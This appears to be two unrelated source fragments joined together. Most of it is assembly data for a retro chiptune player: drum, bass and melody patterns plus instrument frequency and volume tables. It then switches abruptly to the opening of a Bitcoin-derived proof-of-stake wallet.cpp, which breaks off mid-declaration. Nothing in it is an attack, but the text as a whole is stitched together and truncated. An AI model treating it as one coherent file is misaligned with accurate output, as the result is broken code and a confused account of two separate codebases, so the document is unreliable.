$02,INSID_hh4 player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh4 pat_claptest_hh_fi1_loop player_settrackregister $08,$00 player_setinstrument $02,INSID_sn player_settrackregister $08,$FE player_setinstrument $02,INSID_hh4 player_settrackregister $08,$FE player_setinstrument $02,INSID_hh4 player_settrackregister $08,$FE player_setinstrument $02,INSID_hh4 player_rewind [.-pat_claptest_hh_fi1_loop+2] pat_claptest_hhchr pat_claptest_hhchr_loop player_settrackregister $08,$00 player_setinstrument $02,INSID_sn player_settrackregister $08,$FE player_setinstrument $02,INSID_hh4 player_settrackregister $08,$FF player_setinstrument $02,INSID_hh4 player_settrackregister $08,$00 player_setinstrument $02,INSID_hh4 player_settrackregister $08,$00 player_setinstrument $02,INSID_sn player_settrackregister $08,$FE player_setinstrument $02,INSID_hh4 player_settrackregister $08,$FF player_setinstrument $02,INSID_hh4 player_settrackregister $08,$FF player_setinstrument $02,INSID_hh4 player_settrackregister $08,$00 player_setinstrument $02,INSID_sn player_settrackregister $08,$FE player_setinstrument $02,INSID_hh4 player_settrackregister $09,$02 player_settrackregister $08,$00 player_setinstrument $02,INSID_mchr1 player_settrackregister $08,$FE player_setinstrument $02,INSID_hh4 player_settrackregister $08,$00 player_setinstrument $02,INSID_sn player_settrackregister $08,$FE player_setinstrument $02,INSID_hh4 player_settrackregister $09,$2E player_settrackregister $08,$FE player_setinstrument $02,INSID_mchr1 player_settrackregister $08,$FE player_setinstrument $02,INSID_hh4 player_rewind [.-pat_claptest_hhchr_loop+2] pat_bl1 pat_bl1_loop player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$12 player_setinstrument $02,INSID_bl player_settrackregister $09,$02 player_setinstrument $04,INSID_sn2 player_settrackregister $09,$12 player_settrackregister $08,$00 player_setinstrument $02,INSID_bl player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$12 player_settrackregister $08,$00 player_setinstrument $04,INSID_bl player_settrackregister $09,$02 player_setinstrument $02,INSID_sn2 player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$0A player_settrackregister $08,$00 player_setinstrument $04,INSID_bl player_rewind [.-pat_bl1_loop+2] pat_bl2 pat_bl2_loop player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$02 player_setinstrument $02,INSID_bl player_settrackregister $09,$02 player_setinstrument $04,INSID_sn2 player_settrackregister $09,$02 player_settrackregister $08,$00 player_setinstrument $02,INSID_bl player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$02 player_settrackregister $08,$00 player_setinstrument $04,INSID_bl player_settrackregister $09,$02 player_setinstrument $02,INSID_sn2 player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$1E player_settrackregister $08,$00 player_setinstrument $04,INSID_bl player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$26 player_setinstrument $02,INSID_bl player_settrackregister $09,$02 player_setinstrument $04,INSID_sn2 player_settrackregister $09,$26 player_settrackregister $08,$00 player_setinstrument $02,INSID_bl player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$26 player_settrackregister $08,$00 player_setinstrument $04,INSID_bl player_settrackregister $09,$02 player_setinstrument $02,INSID_sn2 player_settrackregister $09,$02 player_setinstrument $02,INSID_bd player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$2E player_settrackregister $08,$00 player_setinstrument $02,INSID_bl player_rewind [.-pat_bl2_loop+2] pat_bl2_fi pat_bl2_fi_loop player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$02 player_setinstrument $02,INSID_bl player_settrackregister $09,$02 player_setinstrument $04,INSID_sn2 player_settrackregister $09,$02 player_settrackregister $08,$00 player_setinstrument $02,INSID_bl player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$02 player_settrackregister $08,$00 player_setinstrument $04,INSID_bl player_settrackregister $09,$02 player_setinstrument $02,INSID_sn2 player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$1E player_settrackregister $08,$00 player_setinstrument $04,INSID_bl player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$26 player_setinstrument $02,INSID_bl player_settrackregister $09,$02 player_setinstrument $04,INSID_sn2 player_settrackregister $09,$26 player_settrackregister $08,$00 player_setinstrument $02,INSID_bl player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$02 player_setinstrument $01,INSID_bd player_settrackregister $09,$26 player_settrackregister $08,$00 player_setinstrument $03,INSID_bl player_settrackregister $09,$02 player_setinstrument $02,INSID_sn2 player_settrackregister $09,$02 player_setinstrument $02,INSID_bd player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$2E player_settrackregister $08,$00 player_setinstrument $02,INSID_bl player_rewind [.-pat_bl2_fi_loop+2] pat_bip1 pat_bip1_loop player_settrackregister $09,$12 player_settrackregister $08,$00 player_setinstrument $02,INSID_bip player_settrackregister $09,$02 player_setinstrument $02,INSID_bip player_settrackregister $09,$1E player_setinstrument $02,INSID_bip player_settrackregister $09,$12 player_setinstrument $02,INSID_bip player_settrackregister $09,$02 player_setinstrument $02,INSID_bip player_settrackregister $09,$26 player_setinstrument $02,INSID_bip player_rewind [.-pat_bip1_loop+2] pat_hhmixin pat_hhmixin_loop player_settrackregister $09,$02 player_setinstrument $04,INSID_hh player_settrackregister $08,$FD player_settrackregister $09,$02 player_setinstrument $04,INSID_hh4 player_settrackregister $09,$02 player_setinstrument $04,INSID_hh4 player_settrackregister $09,$02 player_setinstrument $02,INSID_hh2 player_settrackregister $09,$02 player_setinstrument $02,INSID_hh4 player_rewind [.-pat_hhmixin_loop+2] pat_melo1 player_settrackregister $09,$72 player_settrackregister $08,$00 player_setinstrument $1B,INSID_melo player_setinstrument $01,INSID_nil player_settrackregister $09,$6A player_setinstrument $04,INSID_melo player_settrackregister $09,$72 player_setinstrument $04,INSID_melo player_settrackregister $09,$7A player_setinstrument $04,INSID_melo player_settrackregister $09,$7E player_setinstrument $04,INSID_melo player_settrackregister $09,$7A player_setinstrument $0A,INSID_melo player_setinstrument $02,INSID_nil player_settrackregister $09,$6A player_setinstrument $04,INSID_melo pat_melo1_loop player_settrackregister PATTERN_WAIT,$10 player_rewind [.-pat_melo1_loop+2] pat_melo1ch player_settrackregister $09,$12 player_setinstrument $04,INSID_mchr2 pat_melo1ch_loop player_settrackregister PATTERN_WAIT,$10 player_rewind [.-pat_melo1ch_loop+2] pat_melo2 player_settrackregister $09,$62 player_settrackregister $08,$00 player_setinstrument $18,INSID_melo player_settrackregister $09,$6A player_setinstrument $04,INSID_melo player_settrackregister $09,$56 player_setinstrument $04,INSID_melo pat_melo2_loop player_settrackregister PATTERN_WAIT,$10 player_rewind [.-pat_melo2_loop+2] pat_melo2ch player_settrackregister $09,$02 player_setinstrument $24,INSID_mchr2 player_settrackregister $09,$0A player_setinstrument $04,INSID_mchr2 pat_melo2ch_loop player_settrackregister PATTERN_WAIT,$10 player_rewind [.-pat_melo2ch_loop+2] pat_melo3 player_settrackregister $09,$72 player_settrackregister $08,$00 player_setinstrument $1B,INSID_melo player_setinstrument $01,INSID_nil player_settrackregister $09,$6A player_setinstrument $04,INSID_melo player_settrackregister $09,$72 player_setinstrument $04,INSID_melo player_settrackregister $09,$7A player_setinstrument $04,INSID_melo player_settrackregister $09,$7E player_setinstrument $04,INSID_melo player_settrackregister $09,$7A player_setinstrument $08,INSID_melo player_settrackregister $09,$7E player_setinstrument $04,INSID_melo player_settrackregister $09,$8E player_setinstrument $04,INSID_melo pat_melo3_loop player_settrackregister PATTERN_WAIT,$10 player_rewind [.-pat_melo3_loop+2] pat_melo4 player_settrackregister $09,$9A player_settrackregister PATTERN_WAIT,$10 player_settrackregister $09,$8E player_settrackregister PATTERN_WAIT,$10 player_settrackregister $09,$92 player_settrackregister PATTERN_WAIT,$10 player_settrackregister $09,$8E player_settrackregister PATTERN_WAIT,$10 pat_melo4_loop player_settrackregister PATTERN_WAIT,$10 player_rewind [.-pat_melo4_loop+2] pat_downgroove player_settrackregister $09,$02 player_settrackregister $08,$FF player_setsongregister $10,$05 player_setinstrument $01,INSID_nil player_setsongregister $11,$04 player_settrackregister PATTERN_WAIT,$01 player_setsongregister $12,$05 player_settrackregister PATTERN_WAIT,$01 player_setsongregister $13,$04 player_settrackregister PATTERN_WAIT,$01 pat_downgroove_loop player_settrackregister PATTERN_WAIT,$10 player_rewind [.-pat_downgroove_loop+2] pat_upgroove player_settrackregister $09,$02 player_settrackregister $08,$00 player_setinstrument $01,INSID_nil player_setsongregister $10,$06 player_settrackregister PATTERN_WAIT,$01 player_setsongregister $11,$05 player_settrackregister PATTERN_WAIT,$01 player_setsongregister $12,$04 player_settrackregister PATTERN_WAIT,$01 player_setsongregister $13,$03 player_settrackregister PATTERN_WAIT,$01 pat_upgroove_loop player_settrackregister PATTERN_WAIT,$10 player_rewind [.-pat_upgroove_loop+2] pat_off player_settrackregister $09,$02 player_settrackregister $08,$00 player_setinstrument $00,INSID_nil pat_off_loop player_settrackregister PATTERN_WAIT,$10 player_rewind [.-pat_off_loop+2] pat_bln1 pat_bln1_loop player_settrackregister $09,$12 player_settrackregister $08,$00 player_setinstrument $38,INSID_bl2 player_settrackregister $09,$0A player_setinstrument $10,INSID_bl2 player_rewind [.-pat_bln1_loop+2] pat_bln2 pat_bln2_loop player_settrackregister $09,$02 player_setinstrument $38,INSID_bl2 player_settrackregister $09,$26 player_setinstrument $10,INSID_bl2 player_rewind [.-pat_bln2_loop+2] pat_bl2_fi2 player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$02 player_setinstrument $02,INSID_bl player_settrackregister $09,$02 player_setinstrument $04,INSID_sn2 player_settrackregister $09,$02 player_settrackregister $08,$00 player_setinstrument $02,INSID_bl player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$02 player_settrackregister $08,$00 player_setinstrument $04,INSID_bl player_settrackregister $09,$02 player_setinstrument $02,INSID_sn2 player_settrackregister $09,$12 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$1E player_settrackregister $08,$00 player_setinstrument $04,INSID_bl player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$12 player_setinstrument $04,INSID_chr1 player_setinstrument $04,INSID_sn2 player_settrackregister $09,$12 player_setinstrument $04,INSID_chr1 player_setinstrument $04,INSID_bd player_settrackregister $09,$12 player_setinstrument $04,INSID_chr1 player_setinstrument $04,INSID_sn2 player_settrackregister $09,$12 player_setinstrument $04,INSID_chr1 pat_bl2_fi2_loop player_settrackregister PATTERN_WAIT,$10 player_rewind [.-pat_bl2_fi2_loop+2] pat_melo1_od player_settrackregister $09,$42 player_settrackregister $08,$00 player_setinstrument $1B,INSID_melo player_setinstrument $01,INSID_nil player_settrackregister $09,$3A player_setinstrument $04,INSID_melo player_settrackregister $09,$42 player_setinstrument $04,INSID_melo player_settrackregister $09,$4A player_setinstrument $04,INSID_melo player_settrackregister $09,$4E player_setinstrument $04,INSID_melo player_settrackregister $09,$4A player_setinstrument $0A,INSID_melo player_setinstrument $02,INSID_nil player_settrackregister $09,$3A player_setinstrument $04,INSID_melo pat_melo1_od_loop player_settrackregister PATTERN_WAIT,$10 player_rewind [.-pat_melo1_od_loop+2] pat_melo2_od player_settrackregister $09,$32 player_settrackregister $08,$00 player_setinstrument $18,INSID_melo player_settrackregister $09,$3A player_setinstrument $04,INSID_melo player_settrackregister $09,$26 player_setinstrument $04,INSID_melo pat_melo2_od_loop player_settrackregister PATTERN_WAIT,$10 player_rewind [.-pat_melo2_od_loop+2] pat_melo3_od player_settrackregister $09,$42 player_settrackregister $08,$00 player_setinstrument $1B,INSID_melo player_setinstrument $01,INSID_nil player_settrackregister $09,$3A player_setinstrument $04,INSID_melo player_settrackregister $09,$42 player_setinstrument $04,INSID_melo player_settrackregister $09,$4A player_setinstrument $04,INSID_melo player_settrackregister $09,$4E player_setinstrument $04,INSID_melo player_settrackregister $09,$4A player_setinstrument $08,INSID_melo player_settrackregister $09,$4E player_setinstrument $04,INSID_melo player_settrackregister $09,$5E player_setinstrument $04,INSID_melo pat_melo3_od_loop player_settrackregister PATTERN_WAIT,$10 player_rewind [.-pat_melo3_od_loop+2] pat_melo4_od player_settrackregister $09,$6A player_settrackregister PATTERN_WAIT,$10 player_settrackregister $09,$5E player_settrackregister PATTERN_WAIT,$10 player_settrackregister $09,$62 player_settrackregister PATTERN_WAIT,$10 player_settrackregister $09,$5E player_settrackregister PATTERN_WAIT,$10 pat_melo4_od_loop player_settrackregister PATTERN_WAIT,$10 player_rewind [.-pat_melo4_od_loop+2] pat_bl1_t pat_bl1_t_loop player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$26 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$26 player_setinstrument $02,INSID_bl player_settrackregister $09,$02 player_setinstrument $04,INSID_sn2 player_settrackregister $09,$26 player_settrackregister $08,$00 player_setinstrument $02,INSID_bl player_settrackregister $09,$26 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$26 player_settrackregister $08,$00 player_setinstrument $04,INSID_bl player_settrackregister $09,$02 player_setinstrument $02,INSID_sn2 player_settrackregister $09,$26 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$1E player_settrackregister $08,$00 player_setinstrument $04,INSID_bl player_rewind [.-pat_bl1_t_loop+2] pat_bl2_t pat_bl2_t_loop player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$26 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$02 player_setinstrument $02,INSID_bl player_settrackregister $09,$02 player_setinstrument $04,INSID_sn2 player_settrackregister $09,$02 player_settrackregister $08,$00 player_setinstrument $02,INSID_bl player_settrackregister $09,$26 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$02 player_settrackregister $08,$00 player_setinstrument $04,INSID_bl player_settrackregister $09,$02 player_setinstrument $02,INSID_sn2 player_settrackregister $09,$26 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$1E player_settrackregister $08,$00 player_setinstrument $04,INSID_bl player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$26 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$0A player_setinstrument $02,INSID_bl player_settrackregister $09,$02 player_setinstrument $04,INSID_sn2 player_settrackregister $09,$0A player_settrackregister $08,$00 player_setinstrument $02,INSID_bl player_settrackregister $09,$26 player_setinstrument $02,INSID_chr1 player_settrackregister $09,$02 player_setinstrument $04,INSID_bd player_settrackregister $09,$0A player_settrackregister $08,$00 player_setinstrument $04,INSID_bl player_settrackregister $09,$02 player_setinstrument $02,INSID_sn2 player_settrackregister $09,$02 player_setinstrument $02,INSID_bd player_settrackregister $09,$32 player_settrackregister $08,$00 player_setinstrument $02,INSID_bl player_settrackregister $09,$26 player_setinstrument $02,INSID_chr1 player_rewind [.-pat_bl2_t_loop+2] pat_bip1_t pat_bip1_t_loop player_settrackregister $09,$42 player_setinstrument $02,INSID_bip player_settrackregister $09,$32 player_setinstrument $02,INSID_bip player_settrackregister $09,$26 player_setinstrument $02,INSID_bip player_settrackregister $09,$42 player_setinstrument $02,INSID_bip player_settrackregister $09,$32 player_setinstrument $02,INSID_bip player_settrackregister $09,$0A player_setinstrument $02,INSID_bip player_rewind [.-pat_bip1_t_loop+2] pat_pl_fi1 pat_pl_fi1_loop player_settrackregister $09,$0A player_settrackregister $08,$00 player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$0E player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$0E player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$06 player_setinstrument $04,INSID_beng player_settrackregister $09,$06 player_setinstrument $04,INSID_beng player_settrackregister $09,$16 player_setinstrument $04,INSID_beng player_settrackregister $09,$16 player_setinstrument $04,INSID_beng player_settrackregister $09,$72 player_setinstrument $04,INSID_beng player_settrackregister $09,$72 player_setinstrument $04,INSID_beng player_settrackregister $09,$0E player_setinstrument $04,INSID_beng player_settrackregister $09,$0E player_setinstrument $04,INSID_beng player_rewind [.-pat_pl_fi1_loop+2] pat_pr2_fi1 pat_pr2_fi1_loop player_settrackregister $08,$00 player_setinstrument $04,INSID_bd player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh player_settrackregister $08,$00 player_setinstrument $02,INSID_bd player_setinstrument $02,INSID_sn player_setinstrument $02,INSID_hh player_setinstrument $02,INSID_hh2 player_settrackregister $08,$00 player_setinstrument $04,INSID_bd player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_sn player_settrackregister $08,$00 player_setinstrument $04,INSID_bd player_setinstrument $02,INSID_hh player_setinstrument $02,INSID_hh2 player_settrackregister $08,$00 player_setinstrument $02,INSID_bd player_setinstrument $02,INSID_hh player_settrackregister $08,$00 player_setinstrument $02,INSID_bd player_setinstrument $02,INSID_hh player_settrackregister $08,$00 player_setinstrument $02,INSID_bd player_setinstrument $02,INSID_hh2 player_settrackregister $08,$00 player_setinstrument $02,INSID_bd player_setinstrument $02,INSID_hh2 player_setinstrument $02,INSID_sn player_setinstrument $02,INSID_hh2 player_setinstrument $02,INSID_sn player_setinstrument $02,INSID_hh2 player_setinstrument $02,INSID_sn player_setinstrument $02,INSID_hh player_settrackregister $08,$00 player_setinstrument $02,INSID_sn player_setinstrument $02,INSID_hh player_rewind [.-pat_pr2_fi1_loop+2] pat_px_fi1 pat_px_fi1_loop player_settrackregister $09,$6A player_settrackregister $08,$00 player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $04,INSID_pling player_setinstrument $04,INSID_pling player_setinstrument $04,INSID_pling player_setinstrument $04,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_setinstrument $02,INSID_pling player_rewind [.-pat_px_fi1_loop+2] pat_pl_fi4 pat_pl_fi4_loop player_settrackregister $09,$0A player_settrackregister $08,$00 player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$0E player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$0E player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$06 player_setinstrument $08,INSID_beng player_settrackregister $09,$16 player_setinstrument $08,INSID_beng player_settrackregister $09,$72 player_setinstrument $08,INSID_beng player_settrackregister $09,$0E player_setinstrument $08,INSID_beng player_rewind [.-pat_pl_fi4_loop+2] pat_pr2_fi4 pat_pr2_fi4_loop player_settrackregister $08,$00 player_setinstrument $04,INSID_bd player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh player_settrackregister $08,$00 player_setinstrument $02,INSID_bd player_setinstrument $02,INSID_sn player_setinstrument $02,INSID_hh player_setinstrument $02,INSID_hh2 player_settrackregister $08,$00 player_setinstrument $04,INSID_bd player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_sn player_settrackregister $08,$00 player_setinstrument $04,INSID_bd player_setinstrument $02,INSID_hh player_setinstrument $02,INSID_hh2 player_settrackregister $08,$00 player_setinstrument $04,INSID_bd player_setinstrument $04,INSID_hh player_settrackregister $08,$00 player_setinstrument $04,INSID_bd player_setinstrument $04,INSID_hh2 player_setinstrument $04,INSID_sn player_setinstrument $04,INSID_hh2 player_setinstrument $04,INSID_sn player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_sn player_rewind [.-pat_pr2_fi4_loop+2] pat_prz_fi4 player_settrackregister $08,$00 player_setinstrument $08,INSID_bd player_setinstrument $08,INSID_bd player_setinstrument $08,INSID_bd player_setinstrument $08,INSID_bd player_setinstrument $08,INSID_bd player_setinstrument $08,INSID_bd player_setinstrument $08,INSID_bd player_setinstrument $02,INSID_sn player_setinstrument $04,INSID_bd player_setinstrument $02,INSID_sn pat_prz_fi4_loop player_settrackregister PATTERN_WAIT,$10 player_rewind [.-pat_prz_fi4_loop+2] pat_pl_fi5 pat_pl_fi5_loop player_settrackregister $09,$0A player_settrackregister $08,$00 player_setinstrument $08,INSID_beng player_settrackregister $09,$0E player_setinstrument $08,INSID_beng player_settrackregister $09,$0A player_setinstrument $08,INSID_beng player_settrackregister $09,$0E player_setinstrument $08,INSID_beng player_settrackregister $09,$06 player_setinstrument $04,INSID_beng player_settrackregister $09,$06 player_setinstrument $04,INSID_beng player_settrackregister $09,$16 player_setinstrument $04,INSID_beng player_settrackregister $09,$16 player_setinstrument $04,INSID_beng player_settrackregister $09,$72 player_setinstrument $04,INSID_beng player_settrackregister $09,$72 player_setinstrument $04,INSID_beng player_settrackregister $09,$0E player_setinstrument $04,INSID_beng player_settrackregister $09,$0E player_setinstrument $04,INSID_beng player_rewind [.-pat_pl_fi5_loop+2] ;--------------------------------------------------- ins_nil ins_nil_frq ins_nil_vol player_moddata 0,0,0 ins_bd ins_bd_frq player_moddata $00,$09,$28 player_moddata $00,$09,$18 player_moddata $00,$09,$04 player_moddata $00,$09,$00 player_moddata $00,$0D,$FC player_moddata $00,$08,$00 player_moddata $00,$0D,$FC player_moddata $00,$08,$00 player_moddata $00,$0D,$FC player_moddata $00,$08,$00 ins_bd_vol player_moddata $00,$00,$0F player_moddata $01,$00,$0D player_moddata $04,$00,$0C player_moddata $04,$00,$0A player_moddata $02,$00,$06 player_moddata $01,$00,$04 player_moddata $01,$00,$02 player_moddata $01,$00,$01 player_moddata $02,$00,$00 ins_sn ins_sn_frq player_moddata $00,$0E,$F4 player_moddata $00,$09,$48 player_moddata $00,$09,$28 player_moddata $00,$0E,$C1 player_moddata $00,$0E,$FA player_moddata $00,$0E,$F7 ins_sn_vol player_moddata $02,$00,$0F player_moddata $02,$00,$0C player_moddata $02,$00,$08 player_moddata $03,$00,$00 ins_sn2 ins_sn2_frq player_moddata $00,$0E,$FA player_moddata $01,$09,$30 player_moddata $00,$0E,$F1 player_moddata $00,$09,$2C player_moddata $00,$0E,$E8 player_moddata $00,$0E,$E3 player_moddata $00,$0E,$E7 player_moddata $00,$0E,$FA ins_sn2_vol player_moddata $02,$00,$0F player_moddata $02,$00,$0D player_moddata $02,$00,$08 player_moddata $03,$00,$00 ins_hh ins_hh_frq player_moddata $00,$0E,$EC player_moddata $00,$0E,$ED ins_hh_vol player_moddata $00,$00,$0F player_moddata $00,$00,$0C player_moddata $00,$00,$08 player_moddata $00,$00,$06 player_moddata $00,$00,$04 player_moddata $00,$00,$02 player_moddata $00,$00,$00 ins_hh2 ins_hh2_frq player_moddata $00,$0E,$E1 player_moddata $00,$0E,$E5 player_moddata $00,$0E,$EB ins_hh2_vol player_moddata $00,$00,$0F player_moddata $00,$00,$00 ins_hh4 ins_hh4_frq player_moddata $01,$0E,$FA player_moddata $00,$0E,$EB ins_hh4_vol player_moddata $00,$00,$0F player_moddata $00,$00,$00 ins_hh3 ins_hh3_frq player_moddata $00,$0D,$F8 player_moddata $00,$0D,$60 player_moddata $00,$0E,$F4 player_moddata $00,$0E,$F3 player_moddata $00,$0E,$F4 player_moddata $00,$0E,$F3 ins_hh3_vol player_moddata $01,$00,$0F player_moddata $00,$00,$0B player_moddata $00,$00,$03 ins_cl ins_cl_frq player_moddata $05,$0E,$FB player_moddata $00,$0E,$FA player_moddata $00,$0E,$F7 ins_cl_vol player_moddata $04,$00,$0E player_moddata $00,$00,$0D player_moddata $00,$00,$0C player_moddata $00,$00,$0B player_moddata $00,$00,$0A player_moddata $00,$00,$09 player_moddata $00,$00,$08 player_moddata $03,$00,$04 player_moddata $00,$00,$00 ins_beng ins_beng_frq player_moddata $00,$05,$F3 player_moddata $00,$00,$00 player_moddata $00,$05,$F3 player_moddata $00,$00,$00 ins_beng_vol player_moddata $00,$00,$0F player_moddata $04,$00,$0C player_moddata $04,$00,$08 player_moddata $02,$00,$06 player_moddata $04,$00,$04 player_moddata $04,$00,$02 player_moddata $04,$00,$01 player_moddata $02,$00,$00 ins_pling ins_pling_frq player_moddata $00,$01,$32 ins_pling_vol player_moddata $01,$00,$0C player_moddata $02,$00,$03 player_moddata $02,$00,$00 ins_sq ins_sq_frq player_moddata $00,$0D,$F1 player_moddata $01,$05,$F4 player_moddata $01,$05,$F3 player_moddata $01,$05,$F2 player_moddata $01,$05,$F1 player_moddata $00,$05,$F0 ins_sq_vol player_moddata $06,$00,$0C player_moddata $05,$00,$02 player_moddata $04,$00,$0A player_moddata $03,$00,$02 ins_bl ins_bl_frq player_moddata $02,$01,$03 player_moddata $02,$01,$02 player_moddata $02,$01,$01 player_moddata $02,$01,$02 player_moddata $02,$01,$03 player_moddata $02,$01,$02 player_moddata $02,$01,$01 ins_bl_vol player_moddata $05,$00,$0C player_moddata $04,$00,$0B player_moddata $05,$00,$0A player_moddata $04,$00,$08 player_moddata $08,$00,$00 ins_bl2 ins_bl2_frq player_moddata $02,$01,$03 player_moddata $02,$01,$02 player_moddata $02,$01,$01 player_moddata $02,$01,$02 player_moddata $02,$01,$03 player_moddata $02,$01,$02 player_moddata $02,$01,$01 ins_bl2_vol player_moddata $08,$00,$0A player_moddata $08,$00,$09 player_moddata $08,$00,$08 player_moddata $08,$00,$07 player_moddata $08,$00,$06 player_moddata $08,$00,$04 ins_bip ins_bip_frq player_moddata $00,$01,$92 player_moddata $02,$01,$32 player_moddata $02,$01,$31 player_moddata $02,$01,$30 player_moddata $02,$01,$31 player_moddata $02,$01,$32 player_moddata $02,$01,$33 player_moddata $02,$01,$34 player_moddata $02,$01,$33 ins_bip_vol player_moddata $05,$00,$0B player_moddata $08,$00,$02 player_moddata $08,$00,$01 player_moddata $08,$00,$00 ins_chr1 ins_chr1_frq player_moddata $00,$0D,$E4 player_moddata $01,$01,$3A player_moddata $01,$01,$4E player_moddata $01,$01,$32 ins_chr1_vol player_moddata $02,$00,$0C player_moddata $02,$00,$0A player_moddata $01,$00,$08 player_moddata $01,$00,$06 player_moddata $04,$00,$03 ins_mchr1 ins_mchr1_frq player_moddata $05,$01,$6A player_moddata $04,$01,$7E player_moddata $05,$01,$62 player_moddata $05,$01,$8E player_moddata $04,$01,$6A player_moddata $05,$01,$7E player_moddata $04,$01,$62 ins_mchr1_vol player_moddata $04,$00,$0C player_moddata $04,$00,$03 ins_mchr2 ins_mchr2_frq player_moddata $02,$01,$62 player_moddata $02,$01,$72 player_moddata $02,$01,$7E player_moddata $03,$01,$92 ins_mchr2_vol player_moddata $04,$00,$0B player_moddata $05,$00,$02 player_moddata $04,$00,$0A player_moddata $05,$00,$01 ins_melo ins_melo_frq player_moddata $00,$01,$4E player_moddata $00,$01,$32 player_moddata $01,$01,$01 player_moddata $02,$01,$00 player_moddata $01,$01,$01 player_moddata $01,$01,$02 player_moddata $01,$01,$03 player_moddata $02,$01,$04 player_moddata $01,$01,$03 player_moddata $01,$01,$02 ins_melo_vol player_moddata $02,$00,$0C player_moddata $02,$00,$0A player_moddata $02,$00,$08 player_moddata $05,$00,$07
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2012 The Bitcoin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "wallet.h" #include "base58.h" #include "coincontrol.h" #include "kernel.h" #include "net.h" #include "timedata.h" #include "txdb.h" #include "ui_interface.h" #include "walletdb.h" #include <boost/algorithm/string/replace.hpp> using namespace std; // Settings int64_t nTransactionFee = MIN_TX_FEE; int64_t nReserveBalance = 0; int64_t nMinimumInputValue = 0; static int64_t GetStakeCombineThreshold() { return 100 * COIN; } static int64_t GetStakeSplitThreshold() { return 2 * GetStakeCombineThreshold(); } ////////////////////////////////////////////////////////////////////////////// // // mapWallet // struct CompareValueOnly { bool operator()(const pair<int64_t, pair<const CWalletTx*, unsigned int> >& t1, const pair<int64_t, pair<const CWalletTx*, unsigned int> >& t2) const { return t1.first < t2.first; } }; CPubKey 